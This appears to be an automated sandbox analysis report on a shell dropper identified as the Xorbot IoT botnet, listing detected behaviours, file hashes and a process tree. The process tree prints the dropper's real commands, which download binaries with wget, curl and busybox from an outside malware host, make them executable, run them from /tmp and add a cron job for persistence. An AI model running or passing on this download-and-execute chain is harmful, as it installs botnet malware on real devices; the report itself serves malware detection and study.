Analysis

  • max time kernel
    149s
  • max time network
    161s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    25/01/2025, 03:42

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250125-d9b5pswjan
  • SHA256 3fbcac4cee24277990d22f6bd40bf03d34eb82a4f067bf42496459ebb5645fc4
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1957) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 16 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:635
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:637
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:640
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        2⤵
        • Checks CPU configuration
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:662
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:669
      • /bin/chmod
        chmod 777 Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        2⤵
        • File and Directory Permissions Modification
        PID:677
      • /tmp/Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        ./Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
        2⤵
          PID:678
        • /bin/rm
          rm Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
          2⤵
            PID:680
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:682
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
            2⤵
            • Checks CPU configuration
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:693
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:708
          • /bin/chmod
            chmod 777 UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
            2⤵
            • File and Directory Permissions Modification
            PID:717
          • /tmp/UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
            ./UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
            2⤵
              PID:719
            • /bin/rm
              rm UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
              2⤵
                PID:721
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:723
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                2⤵
                • Checks CPU configuration
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:727
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:742
              • /bin/chmod
                chmod 777 SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                2⤵
                • File and Directory Permissions Modification
                PID:750
              • /tmp/SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                ./SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                2⤵
                  PID:752
                • /bin/rm
                  rm SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                  2⤵
                    PID:755
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:756
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:765
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:767
                  • /bin/chmod
                    chmod 777 haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                    2⤵
                    • File and Directory Permissions Modification
                    PID:768
                  • /tmp/haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                    ./haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                    2⤵
                      PID:769
                    • /bin/rm
                      rm haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                      2⤵
                        PID:771
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:772
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                        2⤵
                        • Checks CPU configuration
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:773
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:775
                      • /bin/chmod
                        chmod 777 cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                        2⤵
                        • File and Directory Permissions Modification
                        PID:776
                      • /tmp/cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                        ./cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                        2⤵
                        • Renames itself
                        • Reads runtime system information
                        PID:777
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:779
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:780
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:781
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:782
                            • /bin/rm
                              rm cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                              2⤵
                                PID:784
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/6nm7i3KIvenqXnyDP5b2bwyIp0BkMnrvKr
                                2⤵
                                • System Network Configuration Discovery
                                PID:787

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy

                                  • Path /tmp/Lna4msgxfaA1ylOEHUSlzdL99JnJBBHCRy
                                  • Size 151KB
                                  • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                  • MD5 SHA1 SHA512 SSDEEP

                                  SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx

                                  • Path /tmp/SfFq8OafHIy66NvDHk4abCz3GEB7HIVnAx
                                  • Size 107KB
                                  • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                  • MD5 SHA1 SHA512 SSDEEP

                                  UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM

                                  • Path /tmp/UqEw9YjjbYg01HeVQAcX9ENZzRG6JQxcOM
                                  • Size 111KB
                                  • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                  • MD5 SHA1 SHA512 SSDEEP

                                  cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv

                                  • Path /tmp/cW4R67WDnVrZyEzAR73vuvznDv3fKYo6xv
                                  • Size 141KB
                                  • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                  • MD5 SHA1 SHA512 SSDEEP

                                  haATEV0IOo0DVOBtRAF9by50fVocbVlXYy

                                  • Path /tmp/haATEV0IOo0DVOBtRAF9by50fVocbVlXYy
                                  • Size 98KB
                                  • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                  • MD5 SHA1 SHA512 SSDEEP

                                  tmp.Ze0Col

                                  • Path /var/spool/cron/crontabs/tmp.Ze0Col
                                  • Size 210B
                                  • SHA256 89fa6f024b71599b70928939aeaf5ab7ccdcaee7e3bf957f263eac846948ccd8
                                  • MD5 SHA1 SHA512